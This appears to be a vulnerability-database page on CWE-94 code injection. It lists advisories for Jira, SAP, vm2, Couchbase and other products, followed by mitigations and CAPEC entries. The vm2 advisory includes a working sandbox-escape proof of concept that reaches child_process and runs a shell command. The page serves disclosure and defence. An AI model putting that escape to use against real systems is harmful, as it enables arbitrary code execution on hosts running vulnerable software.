CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8400 vulnerabilities reference this CWE, most recent first.
GHSA-55HR-9G5V-P4PG
Vulnerability from github – Published: 2023-11-03 18:30 – Updated: 2024-09-06 15:32PCRS <= 3.11 (d0de1e) “Questions” page and “Code editor” page are vulnerable to remote code execution (RCE) by escaping Python sandboxing.
{
"affected": [],
"aliases": [
"CVE-2023-46404"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T16:15:31Z",
"severity": "CRITICAL"
},
"details": "PCRS \u003c= 3.11 (d0de1e) \u201cQuestions\u201d page and \u201cCode editor\u201d page are vulnerable to remote code execution (RCE) by escaping Python sandboxing.",
"id": "GHSA-55hr-9g5v-p4pg",
"modified": "2024-09-06T15:32:54Z",
"published": "2023-11-03T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46404"
},
{
"type": "WEB",
"url": "https://bitbucket.org/utmandrew/pcrs/commits/5f18bcbb383b7d73f7a8b399cc52b23597d752ae"
},
{
"type": "WEB",
"url": "https://github.com/windecks/CVE-2023-46404"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55HV-X43W-PHCV
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-10-22 00:31There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2019-11581"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-09T20:15:00Z",
"severity": "CRITICAL"
},
"details": "There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.",
"id": "GHSA-55hv-x43w-phcv",
"modified": "2025-10-22T00:31:42Z",
"published": "2022-05-24T16:53:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11581"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-69532"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-11581"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55HX-C926-FR95
Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26332"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:33:45Z",
"nvd_published_at": "2026-05-04T17:16:22Z",
"severity": "CRITICAL"
},
"details": "In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() =\u003e { throw null; });\nds.defer(() =\u003e {\n const e = Error();\n e.name = Symbol();\n e.stack;\n});\ntry {\n ds.dispose();\n} catch(e) {\n const Function = e.suppressed.constructor.constructor;\n const process = new Function(\"return process;\")();\n const { execSync } = process.mainModule.require(\"node:child_process\");\n execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```",
"id": "GHSA-55hx-c926-fr95",
"modified": "2026-05-05T16:33:45Z",
"published": "2026-05-05T16:33:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26332"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has a Sandbox Escape Issue via SuppressedError"
}
GHSA-55JH-84JV-8MX8
Vulnerability from github – Published: 2025-12-12 20:20 – Updated: 2025-12-20 05:00Impact
The APIVersion rule uses new Function() to evaluate expression strings. A malicious crafted flow metadata file can cause arbitrary JavaScript execution during scanning. An attacker could execute arbitrary JavaScript during a scan by supplying a malicious expression within rule configuration or crafted flow metadata. This could compromise developer machines, CI runners, or editor environments.
Patches
The patch removes all uses of new Function() and replaces them with a safer parser. It now validates operators (>, >=,<,<=,==`) and performs numeric comparisons without evaluating untrusted JavaScript.
version: core-v6.10.6, version vsx:: v2.4.4 version app:: v3.1.0
Work around
// --- Handle APIVersion rule separately to avoid unsafe-eval in the core library ---
const apiVersionConfig = ruleConfig.rules.APIVersion;
if (apiVersionConfig) {
delete ruleConfig.rules.APIVersion;
}
// Manually evaluate the APIVersion rule, if it was configured.
if (apiVersionConfig) {
const flowApiVer = this.currentFlow.apiVersion || this.currentFlow.xmlData?.apiVersion;
const apiVersionRuleDef = allRules.find(r => r.name === "APIVersion");
// Determine the required expression (e.g. ">=58").
let requiredExpr;
if (apiVersionConfig.expression) {
requiredExpr = apiVersionConfig.expression;
} else if (apiVersionConfig.threshold != null) {
requiredExpr = `>=${apiVersionConfig.threshold}`;
}
if (requiredExpr) {
const minVer = parseInt(requiredExpr.replace(/[^0-9]/g, ""), 10);
const operator = requiredExpr.replace(/[0-9]/g, "").trim();
const operators = {
">=": (a, b) => a < b,
"<": (a, b) => a >= b,
">": (a, b) => a <= b,
"<=": (a, b) => a > b,
"==": (a, b) => a !== b,
"=": (a, b) => a !== b
};
const violation = operators[operator] ? operators[operator](flowApiVer, minVer) : flowApiVer < minVer;
if (violation) {
// Craft a result object that mimics the core scanner output so downstream logic remains unchanged.
const manualScanResult = [{
flow: parsedFlow,
ruleResults: [{
ruleName: "APIVersion",
ruleDefinition: {
description: apiVersionRuleDef?.description || "API Version check",
label: apiVersionRuleDef?.label || "APIVersion"
},
occurs: true,
severity: apiVersionConfig.severity,
details: [{
name: String(flowApiVer),
type: "apiVersion",
expression: requiredExpr
}]
}]
}];
results.push(...this.processScanResults(manualScanResult));
}
}
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "lightning-flow-scanner"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.10.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67750"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T20:20:34Z",
"nvd_published_at": "2025-12-12T21:15:59Z",
"severity": "HIGH"
},
"details": "### Impact\nThe APIVersion rule uses `new Function()` to evaluate expression strings. A malicious crafted flow metadata file can cause arbitrary JavaScript execution during scanning. An attacker could execute arbitrary JavaScript during a scan by supplying a malicious expression within rule configuration or crafted flow metadata. This could compromise developer machines, CI runners, or editor environments.\n\n### Patches\nThe patch removes all uses of `new Function()` and replaces them with a safer parser. It now validates operators (`\u003e`, \u003e=`, `\u003c`, `\u003c=`, `==`) and performs numeric comparisons without evaluating untrusted JavaScript.\n\n**version:** core-v6.10.6,\n**version vsx:**: v2.4.4\n**version app:**: v3.1.0\n\n### Work around\n\n```\n// --- Handle APIVersion rule separately to avoid unsafe-eval in the core library ---\n const apiVersionConfig = ruleConfig.rules.APIVersion;\n if (apiVersionConfig) {\n delete ruleConfig.rules.APIVersion;\n }\n\n// Manually evaluate the APIVersion rule, if it was configured.\n if (apiVersionConfig) {\n const flowApiVer = this.currentFlow.apiVersion || this.currentFlow.xmlData?.apiVersion;\n const apiVersionRuleDef = allRules.find(r =\u003e r.name === \"APIVersion\");\n\n // Determine the required expression (e.g. \"\u003e=58\").\n let requiredExpr;\n if (apiVersionConfig.expression) {\n requiredExpr = apiVersionConfig.expression;\n } else if (apiVersionConfig.threshold != null) {\n requiredExpr = `\u003e=${apiVersionConfig.threshold}`;\n }\n\n if (requiredExpr) {\n const minVer = parseInt(requiredExpr.replace(/[^0-9]/g, \"\"), 10);\n const operator = requiredExpr.replace(/[0-9]/g, \"\").trim();\n const operators = {\n \"\u003e=\": (a, b) =\u003e a \u003c b,\n \"\u003c\": (a, b) =\u003e a \u003e= b,\n \"\u003e\": (a, b) =\u003e a \u003c= b,\n \"\u003c=\": (a, b) =\u003e a \u003e b,\n \"==\": (a, b) =\u003e a !== b,\n \"=\": (a, b) =\u003e a !== b\n };\n const violation = operators[operator] ? operators[operator](flowApiVer, minVer) : flowApiVer \u003c minVer;\n\n if (violation) {\n // Craft a result object that mimics the core scanner output so downstream logic remains unchanged.\n const manualScanResult = [{\n flow: parsedFlow,\n ruleResults: [{\n ruleName: \"APIVersion\",\n ruleDefinition: {\n description: apiVersionRuleDef?.description || \"API Version check\",\n label: apiVersionRuleDef?.label || \"APIVersion\"\n },\n occurs: true,\n severity: apiVersionConfig.severity,\n details: [{\n name: String(flowApiVer),\n type: \"apiVersion\",\n expression: requiredExpr\n }]\n }]\n }];\n results.push(...this.processScanResults(manualScanResult));\n }\n }\n }\n\n```",
"id": "GHSA-55jh-84jv-8mx8",
"modified": "2025-12-20T05:00:37Z",
"published": "2025-12-12T20:20:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/security/advisories/GHSA-55jh-84jv-8mx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67750"
},
{
"type": "WEB",
"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/commit/10f64a5eb193d8a777e453b25e910144e4540795"
},
{
"type": "PACKAGE",
"url": "https://github.com/Flow-Scanner/lightning-flow-scanner"
},
{
"type": "WEB",
"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/releases/tag/core-v6.10.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Lightning Flow Scanner Vulnerable to Code Injection via Unsafe Use of `new Function()` in APIVersion Rule"
}
GHSA-55PG-M6V3-XWH9
Vulnerability from github – Published: 2025-04-08 09:31 – Updated: 2025-04-08 09:31SAP ERP BW Business Content is vulnerable to OS Command Injection through certain function modules. These function modules, when executed with elevated privileges, improperly handle user input, allowing attacker to inject arbitrary OS commands. This vulnerability allows the execution of unintended commands on the underlying system, posing a significant security risk to the confidentiality, integrity and availability of the application.
{
"affected": [],
"aliases": [
"CVE-2025-30013"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T08:15:17Z",
"severity": "MODERATE"
},
"details": "SAP ERP BW Business Content is vulnerable to OS Command Injection through certain function modules. These function modules, when executed with elevated privileges, improperly handle user input, allowing attacker to inject arbitrary OS commands. This vulnerability allows the execution of unintended commands on the underlying system, posing a significant security risk to the confidentiality, integrity and availability of the application.",
"id": "GHSA-55pg-m6v3-xwh9",
"modified": "2025-04-08T09:31:10Z",
"published": "2025-04-08T09:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30013"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3571093"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55Q6-9VMQ-6MV6
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2022-05-24 16:55Couchbase Server 5.1.1 generates insufficiently random numbers. The product hosts many network services by default. One of those services is an epmd service, which allows for node integration between Erlang instances. This service is protected by a single 16-character password. Unfortunately, this password is not generated securely due to an insufficient random seed, and can be reasonably brute-forced by an attacker to execute code against a remote system.
{
"affected": [],
"aliases": [
"CVE-2019-11495"
],
"database_specific": {
"cwe_ids": [
"CWE-335",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-10T18:15:00Z",
"severity": "CRITICAL"
},
"details": "Couchbase Server 5.1.1 generates insufficiently random numbers. The product hosts many network services by default. One of those services is an epmd service, which allows for node integration between Erlang instances. This service is protected by a single 16-character password. Unfortunately, this password is not generated securely due to an insufficient random seed, and can be reasonably brute-forced by an attacker to execute code against a remote system.",
"id": "GHSA-55q6-9vmq-6mv6",
"modified": "2022-05-24T16:55:50Z",
"published": "2022-05-24T16:55:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11495"
},
{
"type": "WEB",
"url": "https://www.couchbase.com/resources/security#SecurityAlerts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55QR-2X22-PGH2
Vulnerability from github – Published: 2022-05-01 07:36 – Updated: 2022-05-01 07:36PHP remote file inclusion vulnerability in centre.php in Site News (site_news) 2.00, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the page parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2006-6212"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-12-01T01:28:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in centre.php in Site News (site_news) 2.00, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the page parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-55qr-2x22-pgh2",
"modified": "2022-05-01T07:36:01Z",
"published": "2022-05-01T07:36:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6212"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/23082"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21269"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4685"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-55R2-FRC9-27M7
Vulnerability from github – Published: 2022-05-11 00:00 – Updated: 2025-01-02 21:31Windows Fax Service Remote Code Execution Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-29115"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-10T21:15:00Z",
"severity": "HIGH"
},
"details": "Windows Fax Service Remote Code Execution Vulnerability.",
"id": "GHSA-55r2-frc9-27m7",
"modified": "2025-01-02T21:31:34Z",
"published": "2022-05-11T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29115"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29115"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-29115"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55WW-9933-HHF5
Vulnerability from github – Published: 2025-01-15 21:31 – Updated: 2025-01-16 15:32The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.5, iOS 16.7.8 and iPadOS 16.7.8, Safari 17.5, iOS 17.5 and iPadOS 17.5, watchOS 10.5, tvOS 17.5, visionOS 1.2. Processing a file may lead to unexpected app termination or arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2024-27856"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T20:15:27Z",
"severity": "HIGH"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.5, iOS 16.7.8 and iPadOS 16.7.8, Safari 17.5, iOS 17.5 and iPadOS 17.5, watchOS 10.5, tvOS 17.5, visionOS 1.2. Processing a file may lead to unexpected app termination or arbitrary code execution.",
"id": "GHSA-55ww-9933-hhf5",
"modified": "2025-01-16T15:32:09Z",
"published": "2025-01-15T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27856"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120896"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120898"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120901"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120902"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120903"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120905"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120906"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-563R-VQ55-RMF7
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2024-03-21 03:33NagiosXI 5.6.11 is affected by a remote code execution (RCE) vulnerability. An authenticated user can inject additional commands into a request.
{
"affected": [],
"aliases": [
"CVE-2020-22427"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-15T18:15:00Z",
"severity": "HIGH"
},
"details": "NagiosXI 5.6.11 is affected by a remote code execution (RCE) vulnerability. An authenticated user can inject additional commands into a request.",
"id": "GHSA-563r-vq55-rmf7",
"modified": "2024-03-21T03:33:59Z",
"published": "2022-05-24T17:42:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-22427"
},
{
"type": "WEB",
"url": "https://code610.blogspot.com/2020/03/postauth-rce-bugs-in-nagiosxi-5611.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.